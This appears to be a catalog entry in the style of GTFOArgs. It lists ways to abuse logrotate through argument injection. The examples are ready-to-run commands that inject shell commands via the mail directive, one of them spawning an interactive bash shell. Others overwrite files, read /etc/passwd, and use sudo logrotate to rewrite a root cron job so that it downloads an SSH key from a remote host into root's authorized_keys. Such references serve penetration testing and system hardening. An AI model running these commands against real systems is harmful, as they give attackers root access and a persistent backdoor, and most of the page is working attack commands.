argument community v1.0.0

logrotate

Argument injection via logrotate

📋 Live Preview
logrotate
logrotate

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
system.file.write
system.file.read
security.privilege-escalation.sudo

Examples

Requires a logrotate policy which uses the `mail` directive. A hash should be used as the final character in the command, as it is run with a few arguments.

logrotate -m "/usr/bin/id &> /tmp/output #" -v -f logrotate.policy 

Requires a logrotate policy which uses the `mail` directive.

logrotate -m "/usr/bin/bash -i #" -v -f logrotate.policy 

Creates or overwrites the file with the exact text `logrotate state -- version 2`

logrotate -s /tmp/file logrotate.policy 

Creates or overwrites the file with junk data in combination with arbitrary data.

logrotate -l /tmp/file helloworld 

Reads the first 'word'.

logrotate /etc/passwd 

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. Note that this will overwrite `/etc/cron.daily/man-db` with a cronjob.

sudo logrotate -l /etc/cron.daily/man-db '2>/dev/null;wget https://example.com/ssh.key -O /root/.ssh/authorized_keys2; exit 0;'

Documentation

logrotate

GTFOArgs entry for logrotate. This binary can be used to inject arguments for execution, file operations, or other capabilities.

References